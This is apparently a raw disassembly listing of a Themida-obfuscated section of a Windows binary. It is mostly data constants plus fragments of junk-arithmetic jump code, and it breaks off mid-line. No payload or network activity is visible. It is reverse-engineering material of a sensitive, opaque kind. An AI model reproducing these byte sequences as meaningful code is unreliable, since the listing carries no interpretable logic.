4C1h, 9CE95700h, 89000077h, 0E6892434h, 4C681h dd 0EE810000h, 4, 5C243487h, 81242489h, 42404h, 0C8B0000h dd 4C48324h, 524AE9h, 0BF575000h, 50C4244Ch, 485FF889h dd 34AAE9h, 81FD0100h, 3E4492EDh, 0C5815F5Fh, 4, 0E9242C33h dd 0A976h, 624E9ACh, 4AC0000h, 49304DFh, 0B65266E6h, 0E9F00017h dd 7630h, 81E68956h, 4C6h, 985EE900h, 0ED810000h, 21754058h dd 0C581C501h, 21754058h, 5DEE0158h, 7C2BE9h, 243C8900h dd 4018E955h, 58BB0000h, 0E97C373Ch, 73A7h, 8DCD5ABBh dd 5BD9319Bh, 0C8BC801h, 0F675E924h, 0E957FFFFh, 7836h dd 4BF1815Fh, 0C119603Fh, 0B85007E1h, 79D693B0h, 77DEE981h dd 0F0E93B03h, 41000039h, 254EE9h db 0 ; --------------------------------------------------------------------------- loc_543541: ; CODE XREF: Themida_:00545D77j add edx, ecx jmp loc_54E577 ; --------------------------------------------------------------------------- aQs db 'Qé¿',27h,0 align 2 loc_54354E: ; CODE XREF: Themida_:0054343Fj mov al, bh pop ebx jmp loc_54DC40 ; --------------------------------------------------------------------------- dw 0FF57h dd 5F042474h, 5C24048Fh, 5E08950h, 4, 8704E883h, 35E92404h dd 830000ABh, 0EB81FFEBh, 0AFD74B6Ch, 94E9D889h, 59000030h dd 4F2DD001h, 5311E211h, 80DFE9h, 0C5005900h, 8BE83058h dd 8951240Ch, 3B0AE9E1h, 4ABA0000h, 2D215650h, 12F177A1h dd 60E9D029h, 8BFFFFF8h, 6DE92424h, 31FFFFF1h, 0C1215EF0h dd 7E9C158h, 24048153h, 67F8317Bh, 4EC8358h, 0B63EE9h db 0 ; --------------------------------------------------------------------------- loc_5435D5: ; CODE XREF: Themida_:00547BE7j or eax, 47C1020Fh xor eax, 0B60523Ch dec eax add eax, 7EAC427Eh add eax, 3A2D3153h sub eax, 0CD34E838h xor ebp, eax pop eax add ebx, ebp jmp loc_54EA66 ; --------------------------------------------------------------------------- db 89h, 1Ch, 24h aA_2 db '³,Í',0 db 0D8h, 0E9h, 63h dd 51000016h, 592414F7h, 19ABBF57h, 77E92A8Bh, 1000069h dd 0EC815BD9h, 4, 0BE243489h, 14DB2509h, 0B78EC681h, 5FE9B3E2h dd 0BA0000B1h, 20245DF8h, 245DFCB8h, 5AD02920h, 3CBBC581h dd 0C5012B5Eh, 3CBBED81h, 0E9582B5Eh, 5B0h, 8734FF5Bh dd 7D84BE56h, 74294ACDh, 585E0424h, 4D61E9h, 9AC18100h dd 3154EDB0h, 240C8BCEh, 0E904C483h, 0FFFFFF3Fh, 9D1C77FFh dd 14D25966h, 9DE99C24h, 54FFFFF0h, 25B9515Fh, 816D0F49h dd 133E87C1h, 58685706h, 5F8CDD78h, 6EE9F901h, 810000B8h dd 4C3h, 4EB8300h, 0E9241C87h, 1394h, 8B68E789h, 8900006Ah dd 3BB9240Ch, 5255A548h, 0B34E3BAh, 17BCE954h, 0EB810000h dd 22EB74D7h, 0B2DE9h, 8B585100h, 0C483240Ch, 6929BF04h dd 0C7813A08h, 2BF7009h, 0EF81C729h, 2BF7009h, 1EF78158h dd 81536965h, 0AB6FDACFh, 4E7C134h, 567168h, 24148900h dd 1EE9E9h, 5AD32900h, 5C241C87h, 81241489h, 4ECh, 48F5400h dd 24048124h, 4, 4C2815Ah, 0E9000000h, 911Ch, 74FF555Ch dd 0AFE90424h, 8B000075h, 14892424h, 2474FF24h, 48F5A04h dd 34FF5C24h, 2434FF24h, 0B5FAE9h, 4C48300h, 4C381h, 0BD550000h dd 4, 65CAE9h, 0C3835C00h, 241C3302h, 46D6E9h db 0 ; --------------------------------------------------------------------------- loc_543781: ; CODE XREF: Themida_:00549DDDj not ecx shl ecx, 8 push edi mov edi, 2B40A8FCh add ecx, 14EA124Ah sub ecx, edi push eax mov eax, 14EA124Ah sub ecx, eax pop eax pop edi add edi, ecx push dword ptr [esp] pop ecx jmp loc_54A67B ; --------------------------------------------------------------------------- db 83h, 0E9h, 2 aQsH db 'QéÝH',0 align 2 dw 0C483h dd 6BEAE904h, 8B660000h, 0D2E92404h, 81000049h, 947774EEh dd 0E9F10188h, 6142h, 0E924148Bh, 245Dh, 5141F581h, 0C58105BDh dd 4284F5BBh, 944CE9h, 48B6600h, 689E924h, 0FF660000h dd 899BE932h, 0DEF70000h, 7896E9h db 0 ; --------------------------------------------------------------------------- loc_543801: ; CODE XREF: Themida_:0054C4C9j push eax push esp pop eax push ebp mov ebp, 4 sub eax, 586B4121h add eax, ebp add eax, 586B4121h pop ebp sub eax, 4 jmp loc_54C159 ; --------------------------------------------------------------------------- db 8Bh, 1Ch, 24h dd 56E68956h, 0C681E689h, 4, 8704EE83h, 895C2434h, 53BB241Ch dd 0C11FB463h, 0E3C106E3h, 6409E908h, 3B680000h, 0E9000005h dd 5A02h, 0BE56555Bh, 800h, 24048156h, 637A0846h, 666EE9h dd 0E8C15D00h, 5634E918h, 2C890000h, 8CE95124h, 5C00000Ch dd 7DB85055h, 8971B922h, 0ED8158C5h, 3971FE8h, 0D5F7D5F7h dd 1058E9h db 0 ; --------------------------------------------------------------------------- loc_543895: ; CODE XREF: Themida_:0054CC30j mov bl, cl pop ecx add al, bl pop bx jmp loc_54D197 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 889E9h, 4DE95600h, 0FE000033h, 5E8C0C0h, 0AE3CE9h, 240C8900h dd 0BD55E189h, 4, 2C8BE901h, 4C48124h, 83000000h, 0C8704E9h dd 4895C24h, 2B824h, 0C5010000h, 9950E9h, 0EE3EE900h, 0FF5FFFFFh dd 80E92434h, 0C1000022h, 0C28105E2h, 5F3D7D39h, 8B5AD001h dd 0C483242Ch, 54116804h, 2C890000h, 7738E924h, 81680000h dd 0E9000034h, 697Ch, 83242489h, 0FF042404h, 3C8B2434h dd 973EE924h, 0E0890000h, 4BD55h, 0E8010000h, 5D2434FFh dd 4E2E953h, 0E0890000h, 35D4BE56h, 0EEC161CDh, 27CE8103h dd 0E9043D67h, 0FFFFF998h, 0BE243489h, 44C638FAh, 4246C81h dd 54580C2Eh, 4247401h, 6014E9h, 0E9E68900h, 309Ch, 8B7E981h dd 0C1811018h, 74A225BEh, 4E9C141h, 0DFC8F181h, 0CE29C03Bh dd 0BFBB5359h, 0E960B234h, 22FCh, 457868h, 24148900h, 2F3558BAh dd 0FFEA8317h, 6AC0E9h db 0 ; --------------------------------------------------------------------------- loc_5439B1: ; CODE XREF: Themida_:0054D624j mov edx, 1690F4Bh xor edx, 1AF07DC9h add edx, 32595385h add edx, 7BC518E1h jmp loc_5463B2 ; --------------------------------------------------------------------------- db 0C0h, 0E5h, 8 dd 0DDF6C5FEh, 53516651h, 1694E9h, 2C895C00h, 41DEBD24h dd 0ED81792Ch, 79FE5339h, 16A2F581h, 0CD815602h, 7D08022Fh dd 64FA68h, 241C8900h, 15FBE9h, 0FF565C00h, 0E9042474h dd 535Fh, 4EC81h, 7EE90000h, 810000A1h, 2BCABAC1h, 59C8017Ah dd 5602E950h, 525F0000h, 4D6DE9h, 0E9D88800h, 83BCh, 4B9h dd 244C0100h, 815B5904h, 4C3h, 0FFE95600h, 8F000014h, 0E95C2404h dd 9FC8h, 6806E9C1h, 1A6Ah, 0E9240C89h, 95C8h, 8D36A4BAh dd 2EAC175h, 684BB53h, 0DA21057Eh, 384CE9h, 0E7895700h dd 4BA52h, 0D7010000h, 0FFF025E9h, 0D4685CFFh, 8900001Eh dd 24B9240Ch, 81000000h, 91312BEEh, 68CE012Ch, 3005h, 50242C89h dd 91312B68h, 0C589582Ch, 0E9EE0158h, 3167h, 0E904C483h dd 7F28h, 5704C483h, 55166852h, 815A73AEh, 51AAECC2h, 2B24688Ch dd 14890000h, 9AEFE924h, 52660000h, 4EC81h, 14E90000h dd 59000080h, 79A6CA81h, 0C281689Fh, 14000002h, 0E95AD589h dd 4F01h, 42474FFh, 8124148Bh, 4C4h, 24048F00h, 51EEE95Ch dd 295E0000h, 0E9555DE9h, 7625h ; --------------------------------------------------------------------------- loc_543B24: ; CODE XREF: Themida_:0054469Aj add ebp, 4 xchg ebp, [esp] mov esp, [esp] push eax mov eax, 6F3F5E88h sub ebx, eax pop eax push small word ptr [eax] jmp loc_542728 ; --------------------------------------------------------------------------- aQMjsV db '\Q¹',8,'[¬jé<¢',0 align 2 dw 0EF81h dd 48235C98h, 0E95FF801h, 563Ah ; --------------------------------------------------------------------------- loc_543B58: ; CODE XREF: Themida_:005440F4j pop esp mov [esp], edx mov edx, 21B25F30h add [esp+8], edx pop edx pop ebp pop ecx push ebp jmp loc_54C226 ; --------------------------------------------------------------------------- dw 0E95Ah dd 0A905h, 0FFEBAFE9h, 240489FFh, 989FE9h, 51EE0100h, 307E2168h dd 1FE95924h, 0F7000063h, 0BF281D2h, 0E9942188h, 4430h dd 2E54CDBBh, 0BF5758h, 0E9000000h, 7A65h, 4C781h, 3C870000h dd 24248B24h, 0F04C483h, 6268C8BEh, 8900004Fh, 5DE9240Ch dd 58FFFFEBh, 0B4668h, 24148900h, 0C2815A54h, 4, 493DE9h dd 4C68100h, 55000000h, 999BE9h, 0A3BB5300h, 0C171D03Dh dd 0EBC103E3h, 3E3C102h, 0E906E3C1h, 10B5h, 0B5E95156h dd 81000032h, 4EEh, 24348700h, 241C895Ch, 0E81B91BBh, 6FD0050Fh dd 0D8015F2Eh, 3142E9h, 4C38100h, 51000000h, 2B9h, 68C38100h dd 11B003Bh, 0A28AE9CBh, 248B0000h, 0FC33024h, 48DC0B6h dd 0E9545187h, 7B94h, 4FE9C588h, 52000056h, 12454F6h, 4CCE805Ah dd 808FCE80h, 0F088FEEEh, 0FFFEFDE9h, 2055BFFh, 0E9000000h dd 7C26h, 5887C581h, 0E959731Ch, 132Fh, 0EB48EB81h, 0DA018F33h dd 20A3E95Bh, 50660000h, 0EA80FFB0h, 5DC5E90Fh, 4310000h dd 24048B24h, 52E78957h, 0F65F86BAh, 52D2F773h, 5A2414F7h dd 166BEA81h, 0E2816228h, 208A7970h, 3CE9D2F7h, 6800006Bh dd 3609h, 56242489h, 4BEh, 24740100h, 1C8B5E04h, 854E924h dd 0BB530000h, 28755A2Dh, 8D5E1EBAh, 6B45E934h, 565D0000h dd 6B25E9h, 5AD30100h, 8704C383h, 248B241Ch, 0ACFBE924h dd 0C7810000h, 4, 5C243C87h, 63FBE958h, 52580000h, 229DE9h dd 0CB315B00h, 6D1FE9h, 33E95600h db 7Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_543D33: ; CODE XREF: Themida_:0054CD0Fj pop dword ptr [esp] jmp loc_54DFD1 ; --------------------------------------------------------------------------- aZ4SL db '‡4$\騫',0 align 4 dd 0FFE9DFE9h, 48B66FFh, 665C6824h, 4890000h, 0E9E08924h dd 0FFFFFCB4h, 14F468h, 48F5400h, 4B95124h, 0E9000000h dd 498Fh, 2196859h, 2C890000h, 0C4CBD24h, 6CE95908h, 5F00001Ch dd 4C781h, 0EC810000h, 4, 0BB241C89h, 4, 7EC4EF81h, 0DF014EA3h dd 7EC4C781h, 875B4EA3h, 248B243Ch, 402FE924h, 68570000h dd 1, 5F2434FFh, 0FFF9F1E9h, 4C381FFh, 87000000h, 525C241Ch dd 0C281E289h, 4, 7FC7E9h, 25573500h, 0EC8118E0h, 4, 51241C89h dd 1A25EDB9h, 0F5D1BB7Ch, 0CB313BDFh, 5BD80159h, 8158C689h dd 0FFFFFFC6h, 0EEC146FFh, 39E95103h, 8300000Ah, 8B5A04C4h dd 0C4832404h, 66F82804h, 2857045Bh, 0E9572CD8h, 0AF67h dd 0C381E389h, 4, 8704C383h, 685C241Ch, 7822h, 0BE243489h dd 2, 0FC303C05h, 2DF02905h, 5FC303Ch, 4B27E95Eh, 33580000h dd 1C31241Ch, 241C3324h, 0F624248Bh, 0B60F66F9h, 0EF36E9CCh dd 0C181FFFFh, 0DD953652h, 34FFCE29h, 84E95924h, 530000A5h dd 8357E389h, 1C8904ECh, 7685BB24h, 0EBC11A29h, 8E3C102h dd 7C11E9h, 5C6FBB00h, 0DD0931CBh, 47BA525Bh, 814BC5E3h dd 6F305AEDh, 81D50174h, 6F305AC5h, 392D5A74h, 0E91D3779h dd 5D82h, 0E7E9DF01h, 5100003Bh, 0D4307A68h, 240C8B1Bh dd 7319E9h, 81E28900h, 4C2h, 4EA8100h, 52000000h, 9B28E9h dd 4BD00h, 40E90000h, 54000022h, 24B9515Fh, 50788275h dd 7B5BE9h, 0FED9F600h, 93F180C9h, 28E8F180h, 0C38059CBh dd 0C0B60F0Ch, 0FFF32EE9h, 2474FFFFh, 48F5F04h, 87D7F724h dd 315F243Ch, 31C731F8h, 61AB68F8h, 34890000h, 9230E924h dd 6CBD0000h, 5518B530h, 1C242C81h, 5E659C32h, 321CC681h dd 2C8B659Ch, 7A5DE924h, 0DEF70000h, 0C681DEF7h, 55A4332Bh dd 32E9F029h, 0BB00005Ah, 2FD454F7h, 0E95BDD31h, 0FFFFF9A2h dd 0D607572Dh, 0C1D0F73Eh, 0E42D02E8h, 8108C2B3h, 630619C1h dd 57C1017Dh, 630619BFh, 0ACFCE97Dh, 0BE560000h, 4, 48A7C181h dd 0B7E954CDh, 66000073h, 0E924048Bh, 0AC05h, 0E9242C89h dd 9230h ; --------------------------------------------------------------------------- loc_543FB4: ; CODE XREF: Themida_:00549376j pop esp mov [esp], esp add dword ptr [esp], 4 pop edx push esi mov esi, 21205E31h shl esi, 1 xor esi, 4240BC66h add edx, esi pop esi push eax mov eax, 6E0676BFh or eax, 411648DFh jmp loc_5446D3 ; --------------------------------------------------------------------------- loc_543FE1: ; CODE XREF: Themida_:0054EA6Aj mov [esp], ecx mov ecx, 0 add ecx, ebx mov [ecx], dl jmp loc_54521B ; --------------------------------------------------------------------------- loc_543FF2: ; CODE XREF: Themida_:00546920j xor edx, [esp] pop esp jmp loc_546E8E ; --------------------------------------------------------------------------- aRsa db 'Ré~',0 dd 1BBE0D00h, 0D8F728EFh, 8936E9h, 0C9685C00h, 8900006Ah dd 0FE9240Ch, 8100005Fh, 48788EE7h, 0F2EF8100h, 0E9386025h dd 21BFh, 800DB151h, 0CC88A2F1h, 5BAFE9h, 241C8900h, 1BBh dd 0FFD92100h, 815B2434h, 4ECh, 240C8900h, 0C181E189h dd 4, 4C181h, 42E90000h, 5800002Fh, 835BDD01h, 2C3304C5h dd 242C3124h, 8B242C33h, 0EC812424h, 4, 89240489h, 405E0h dd 0B9510000h, 4, 8759C829h, 895C2404h, 7AE92414h, 8100003Eh dd 8581CBEFh, 0E9F9895Fh, 0FFFFF478h, 0E231DAB9h, 59CB8929h dd 0E497EB81h, 0DF89E3F4h, 1C7815Bh, 81000000h, 0FF616BCFh dd 7E7C12Dh, 2414F757h, 9017E9h, 0E652E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5440D6: ; CODE XREF: Themida_:0054878Fj push ecx mov ecx, 15DF49E8h shr ecx, 5 xor ecx, 106C0C0Dh sub ecx, 10C2F63Eh add ebp, ecx pop ecx sub ebp, 4 xchg ebp, [esp] jmp loc_543B58 ; --------------------------------------------------------------------------- aBaF1SM db ')ÕíêF1[éÆm',0 align 2 dw 805Bh dd 0F5807CF5h, 80C5FE00h, 0FE2C62C5h, 58E9E800h, 0BEFFFFE8h dd 330F440Bh, 664EE9h, 7E1C100h, 0F701C183h, 79F7E9D1h dd 56580000h, 0A5E95456h, 8B0000A2h, 0C483242Ch, 2434FF04h dd 4C48359h, 740E68h, 36A2E900h, 47680000h, 89000067h dd 4B82404h, 0E9000000h, 6B10h, 0BB53565Ah, 67FC4409h dd 6F45CB81h, 814B4B7Ch, 3F0817C3h, 1C38135h, 81000000h dd 3B7766F3h, 5BDE89A5h, 79E9F301h, 5C000054h, 835EF501h dd 2C3302EDh, 242C3124h, 5C242C33h, 24048966h, 0FFE57FE9h dd 5E089FFh, 4, 8704E883h, 0E95C2404h, 1F62h, 5C241487h dd 0B2241489h, 8BD000CFh, 0EC832414h, 5A2AE904h, 39B30000h dd 8005EBC0h, 0EB8088E3h, 4EBC058h, 87DEB80h, 0C9805BD9h dd 2737E99Dh, 0BF0000h, 312E6C03h, 0C38E9C7h, 0FEBD0000h dd 89000000h, 89575DEBh, 6275E9DFh, 0F3010000h, 74D7C381h dd 0C38122EBh, 70531226h, 241C875Eh, 0FF24248Bh, 57582434h dd 6800E954h, 89660000h, 50662414h, 0E4F2E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_544236: ; CODE XREF: Themida_:00545CB9j pop ebx pop dword ptr [esp] jmp loc_54DB56 ; --------------------------------------------------------------------------- aQsx db 'Qé•]',0 dd 81EF2900h, 7D207EC7h, 242C8B1Bh, 4C481h, 3C870000h dd 24248B24h, 240C8966h, 0C8B60F66h, 0E99C5166h, 0FFFFE4BCh ; --------------------------------------------------------------------------- loc_54426C: ; CODE XREF: Themida_:0054B7E3j add bl, 0D2h add bl, 0E6h sub bl, 70h sub bl, al add bl, 70h push ecx push edx jmp loc_542A41 ; --------------------------------------------------------------------------- dd offset dword_49005C+19C0Ch align 2 dw 0C1E9h dd 53FFFFF0h, 0ED815B5Ah, 67454900h, 0C581D501h, 67454900h dd 8124148Bh, 4C4h, 2C58300h, 2474FF55h, 48F5D04h, 1665C24h dd 0E99C2404h, 0FFFFE46Ch, 1D4DBE56h, 0F0315ED5h, 8157E9h dd 8168AD00h, 8900000Ch, 28BE2434h, 290C1447h, 72055EF0h dd 0E953A545h, 9175h, 5966CF30h, 8031C780h, 0FE2023C7h dd 81241C8Bh, 4C4h, 3AC68000h, 0C004EEC0h, 0EE8003EEh dd 0AFC680B6h, 88F58851h, 18FDE9E8h, 53580000h, 0FBCBE955h dd 48BFFFFh, 94685624h, 89000048h, 3DE92424h db 1Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54432B: ; CODE XREF: Themida_:005468A7j mov edx, [esp] jmp loc_54D0F0 ; --------------------------------------------------------------------------- db 81h dd 65086DC6h, 0CBB85037h, 2D20BB33h, 4CF56DBFh, 5B85B951h dd 81492AF2h, 256D80F1h, 0CBC1817Dh, 319E815Dh, 0C62959C8h dd 24048B58h, 4C481h, 0C6810000h, 2, 8B243487h, 78E92424h dd 5400001Fh, 3623E9h db 0 ; --------------------------------------------------------------------------- loc_54437D: ; CODE XREF: Themida_:00546DC5j mov edx, [esp] add esp, 4 add ebx, eax jmp loc_5432B0 ; --------------------------------------------------------------------------- db 0B6h, 0BCh, 53h dd 516626B7h, 49E969B1h, 83FFFFFFh, 8B042404h, 0C4812404h dd 4, 405h, 2BB5300h, 2D000000h, 1229326Dh, 6D05D801h dd 0E9122932h, 9579h, 24048B66h, 8904EC83h, 368241Ch, 8900006Dh dd 4812424h, 424h, 0BA525B00h, 4, 34FFD301h, 89575A24h dd 9ABA52E7h, 0C1143840h, 814208EAh, 380F7BCAh, 0F6CA816Ch dd 8147D545h, 0FD7FFBF2h, 5AD7016Fh, 4C781h, 3C870000h dd 0F35BE924h, 9E9FFFFh, 68FFFFE3h, 2778h, 0BE243489h dd 5F9612A7h, 835EF121h, 348904ECh, 0BE565524h, 619B1992h dd 2CD4CE81h, 0C0E9178Bh, 2C00009Bh, 51832CFEh, 6EB768h dword_544450 dd 24048900h, 8904EC83h, 0B62414h, 0FFF7FAE9h, 241489FFh ; DATA XREF: ___:off_43B084o dd 0BD55E289h, 4, 1B3CE9h, 14D16800h, 2C890000h, 0B64E924h dd 56550000h, 60232668h, 94E95E4Ch, 8100004Ah, 4901EDF5h dd 5DE9314Ah, 631BF181h, 0C6813723h, 58496C57h, 0A092E9h dd 2E3C100h, 0A5F8E9h, 3877FF00h, 7E28E9h db 0 ; --------------------------------------------------------------------------- loc_5444B5: ; CODE XREF: Themida_:00542A55j mov [esp], eax push esp pop eax push edx mov edx, 4 add eax, 2BD127AFh add eax, 4D597F81h jmp loc_548128 ; --------------------------------------------------------------------------- db 93h dd 2D93D3F7h, 495815FDh, 0E18EF805h, 58C229C7h, 0AA10E9h dd 3CB85000h, 8964026Ch, 24048BC5h, 4C481h, 0DDF70000h dd 0D5F7DDF7h, 86AE581h, 1BE973C5h, 0B900008Bh, 24E21C75h dd 4581E181h, 0E9412450h, 1D38h, 5B19BD55h, 0C5817E8Fh dd 5FC11ECh, 0EDC1D5F7h, 8FBA5208h, 81E5AA35h, 3146EAC5h dd 0FBBFE95Bh, 0E951FFFFh, 946Ah, 4343E99Dh, 77FF0000h dd 24C1E940h, 148B0000h, 4C48324h, 5E08950h, 4, 8704C083h dd 555C2404h, 545CE9h, 0B8505900h, 641D7F32h, 5E311C0Dh dd 2B872D0Bh, 0E9530A16h, 0FFFFF61Ch, 158FBE56h, 0EE81407Bh dd 407B158Bh, 0E95EF301h, 353Fh, 24448166h, 665F4002h dd 2245C01h, 246C8166h, 665F4002h, 2244481h, 5566216Ch dd 5CCABD66h, 3F35E9h, 0B0686600h, 58F4E966h, 57530000h dd 5C44E955h, 89520000h, 4C281E2h, 0E9000000h, 45D4h, 6C581ABBh dd 93409340h, 6F73BD55h, 30E94785h, 5D000097h, 4C481h dd 34870000h, 24248B24h, 0C8B60F66h, 0FFFFB8E9h, 0C28852FFh dd 8B5A1388h, 8950241Ch, 405E0h, 4050000h, 87000000h, 0E95C2404h dd 0FFFFE108h, 5F240C87h, 63ACF81h, 0E7811855h, 36113200h dd 4372BE56h, 0E68148BAh, 52804155h, 90ABEE81h, 0F7016EDCh dd 5FFA295Eh, 513DE9h, 2146800h, 0C3E90000h, 24000069h dd 0AE9511Bh, 81000079h, 658CD7EDh, 0E9EA29FBh, 8CE7h dd 4EC8355h, 21A8E9h, 0AEC28100h, 0E9174438h, 0FFFFEB85h dd 56243C89h, 242C8150h, 18B73D13h, 6FECE9h db 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_543B24 ; --------------------------------------------------------------------------- loc_54469F: ; CODE XREF: Themida_:0054DB5Dj jmp loc_542728 ; --------------------------------------------------------------------------- dd 8324348Bh, 0E95104C4h, 3CA6h, 3C8BFA01h, 4C48324h, 5C0DE9h dd 59C80100h, 8958C289h, 2434FFD7h, 33DE9h, 94E95100h db 5Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5446D3: ; CODE XREF: Themida_:00543FDCj add eax, 90E98105h jmp loc_54C863 ; --------------------------------------------------------------------------- db 5Dh, 0FFh, 34h aS0l db '$é0L',0 align 2 dw 0C87h aIHD db '$\‰,$h&d',0 align 2 aISki db '‰$$銨',0 align 2 dw 3BFh dd 4F332517h, 40EB68h, 242C8900h, 0C178D7BDh, 18C58136h dd 817B4860h, 0D33011F5h, 2E7EE97Eh, 0E9540000h, 4712h dd 0C381E389h, 4, 718BE9h, 5DE98100h, 29F5887Ch, 5F0959CBh dd 0A9E95B1Ch, 0C1000088h, 0E1E904E3h, 8BFFFFE8h, 0F662424h dd 9C2404B3h, 0FFF5EBE9h, 3AEFB8FFh, 0C201439Bh, 0D10E9h dd 65ED8100h, 89B940A8h, 0C14E5DEEh, 4CE907EEh, 5EFFFFF0h dd 31243C33h, 3C33243Ch, 24248B24h, 872FE9h, 2DD00100h dd 730174F9h, 6DD9E95Ah, 0F6810000h, 99ADE4EEh, 2348E9h dd 4BF5700h, 1000000h, 0D8685FFDh, 8900003Ch, 0A7E9240Ch dd 8100005Eh, 4ECh, 9E88E900h, 0CA810000h, 4A730260h, 4E53CA81h dd 0DAF748A5h, 798FB850h, 0E0C15081h, 0E8C14802h, 3CC12507h dd 9C050CEFh, 52235807h, 716485BAh, 20C28124h, 0E9DA2702h dd 9930h, 70EABB53h, 0EBC16594h, 4EBC102h, 0F1EB8143h dd 31B00318h, 2434FFDDh, 4C4815Bh, 81000000h, 0DF6E36C5h dd 6FC58122h, 0E9F81A59h, 798Ch, 0A60E95Fh, 0EC810000h dd 4, 0BB241C89h, 15F772C2h, 0E95BDE31h, 1E29h, 0E631B7B9h dd 59CE0922h, 8A42C681h, 7789D408h, 0A334E920h, 0E5880000h dd 36DFE9h, 46800h, 0E95F0000h, 10DBh, 3C72EE81h, 0C6012CCCh dd 3C72C681h, 87582CCCh, 98E92434h, 57000086h, 303A8EBFh dd 83DFF759h, 0EF81FFEFh, 1, 0C576F781h, 0FA01A6CFh, 4C2815Fh dd 87000000h, 57E92414h, 5600004Dh, 1D35A3BEh, 0E9D6F77Dh dd 4BF3h, 8704EB83h, 895C241Ch, 8B542434h, 0C4832434h dd 4BA5204h, 0E9000000h, 8FD2h, 0CD81D5F7h, 10042455h dd 3BFED81h, 0C5810729h, 2A2DAD73h, 7DB4E9h, 7BE95300h dd 35000036h, 8600A1D1h, 8158C629h, 34214C6h, 34335D59h dd 24343124h, 4CD7E9h, 0E7895700h, 4C781h, 0C7830000h dd 243C8704h, 2434FF5Ch, 1297E9h, 48B6600h, 5B545324h dd 4C381h, 2680000h, 89000029h, 0B951242Ch, 467B6FEFh dd 1E14B850h, 0E0C1130Ch, 71110503h, 0E1E944DCh, 0F700006Dh dd 13E981D9h, 81619D04h, 74E370E9h, 4A85E94Dh, 34FF0000h dd 24048B24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_54D7C2 ; --------------------------------------------------------------------------- dd 5D54555Eh, 8904EC83h, 0ECB9240Ch, 0F77D9259h, 0F0C181D9h dd 507D9259h, 40662CB8h, 8D2D481Fh, 2D3C872Ch, 7C7114FAh dd 0A6D3172Dh, 58C5011Ch, 0ED81CD01h, 49A1518Dh, 4C58159h dd 83000000h, 2C8904ECh, 2474FF24h, 48F5D04h, 24248B24h dd 5E88B850h, 0C3816F3Fh, 31121321h, 2994C381h, 0C30103B3h dd 2994EB81h, 0EB8103B3h, 31121321h, 1BBD5558h, 108BD3Fh dd 42F2E9EBh, 0F2290000h, 69A3E95Eh, 35680000h, 8900004Eh dd 0EC832424h, 9C2E904h, 815A0000h, 4C4h, 8BFB2900h, 0C481243Ch dd 4, 60D2E9h, 0C8B6600h, 0E9545324h, 8385h, 49F5B850h dd 0E8C166AAh, 3F72E905h, 0E9810000h, 4, 5C240C87h, 0E9242C89h dd 184Fh, 2424895Ch, 4240481h, 8B000000h, 0C4832404h, 40504h dd 0BD550000h, 4C1E4423h, 4427F581h, 0E8014C1Eh, 2404335Dh dd 33240431h, 248B2404h, 0E930FF24h, 0B9Eh, 8B24048Fh dd 0CD32424h, 95E99C24h, 89FFFFDCh, 5B54241Ch, 395C68h dd 922AE900h, 0EB010000h, 70D4E9h, 0C8B6600h, 60E95524h dd 56FFFFE9h, 10E9E689h, 33000067h, 2C31242Ch, 87D5F724h dd 48B242Ch, 4C48324h, 33240431h, 0CBE92404h, 9FFFFF1h dd 92840FC0h, 0FFFFFFF9h, 6C681C77h, 8900006Dh, 39B9240Ch dd 31334C58h, 8B04244Ch, 0C481240Ch, 4, 6B64E9h, 4C78100h dd 83000000h, 25E904C7h db 5Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_544B0F: ; CODE XREF: Themida_:00545225j mov ebx, [esp] push ebx mov ebx, esp add ebx, 4 jmp loc_54BDD6 ; --------------------------------------------------------------------------- dd 4BA5257h, 89000000h, 68E95AD7h, 83000049h, 0C8904ECh dd 94B35324h, 0E97FC380h, 1024h, 0E9E08950h, 9C51h, 5024048Bh dd 649AE9h, 5FFE0100h, 39E9F329h, 400009Bh, 0B7B6520Fh dd 0FE92F680h, 441E9C6h, 0FDBF0000h, 310C4530h, 0C7815EF7h dd 0FCC2B0D2h, 5788BA52h, 814A6220h, 9E425DC2h, 0E2814A77h dd 2C9A7C6Eh, 0C281DAF7h, 51B23AE2h, 148BD389h, 170AE924h dd 24890000h, 8746E924h, 0D8010000h, 0E9241C8Bh, 4FC9h dd 0FE258F68h, 0BB53592Dh, 7C8701DAh, 815BD929h, 7723B1F1h dd 6BE955B1h, 81000007h, 4ECh, 24348900h, 94A2E9h, 6CE95D00h dd 0FF00005Fh, 669D1C77h, 4116658h, 39E99C24h db 0DBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_544BEF: ; CODE XREF: Themida_:00548828j xor [esp], eax xor eax, [esp] mov esp, [esp] push edx push ebp push esi mov esi, 20h jmp loc_54CC26 ; --------------------------------------------------------------------------- aAFpSU db '€ÃÂ(ÃfP°Â(Ãé)U',0 dd 4BD00h, 0EE890000h, 206E9h, 89535C00h, 4C381E3h, 81000000h dd 4EBh, 241C8700h, 241C895Ch, 0DBF6C9B3h, 0FE7EEB80h dd 16F380CBh, 0E973B450h, 5D4Ch, 24048B66h, 5E08950h, 4 dd 2545E951h, 68500000h, 0A8E31CEh, 0DE7EE958h, 0CD04FFFFh dd 0E9241C8Bh, 308h, 2B2F6857h, 14890000h, 22466824h, 3C890000h dd 3F44BF24h, 0E9513EB8h, 9091h, 81243C8Bh, 4C4h, 4E98300h dd 5C240C87h, 81242489h, 42404h, 48F0000h, 75E95624h, 52000077h dd 14C8E9h, 0CF38100h, 292D38D5h, 9252E9DDh, 0E3890000h dd 4C381h, 0E5E90000h, 83FFFFFBh, 5D5704C4h, 83243C8Bh dd 5F5504C4h, 0FFFEF4E9h, 0E9CEFEFFh, 0FFFFE307h, 3FA3EE81h dd 79E9178Ch, 8900007Eh, 2434FFCFh, 0E5FCE959h, 0C483FFFFh dd 59CF0104h, 56B0E9h, 0E9D8F700h, 4013h, 2404895Ch, 9F78E956h dd 0E82D0000h, 8B0ADA21h, 0C483242Ch, 4EBB5304h, 4B23254Dh dd 58F1EB81h, 0DBF7629Ch, 4BF8E9h, 0C9C38100h, 512E5B63h dd 0A1782FB9h, 3FC9814Bh, 0E9255A5Bh, 912h ; --------------------------------------------------------------------------- loc_544D54: ; CODE XREF: 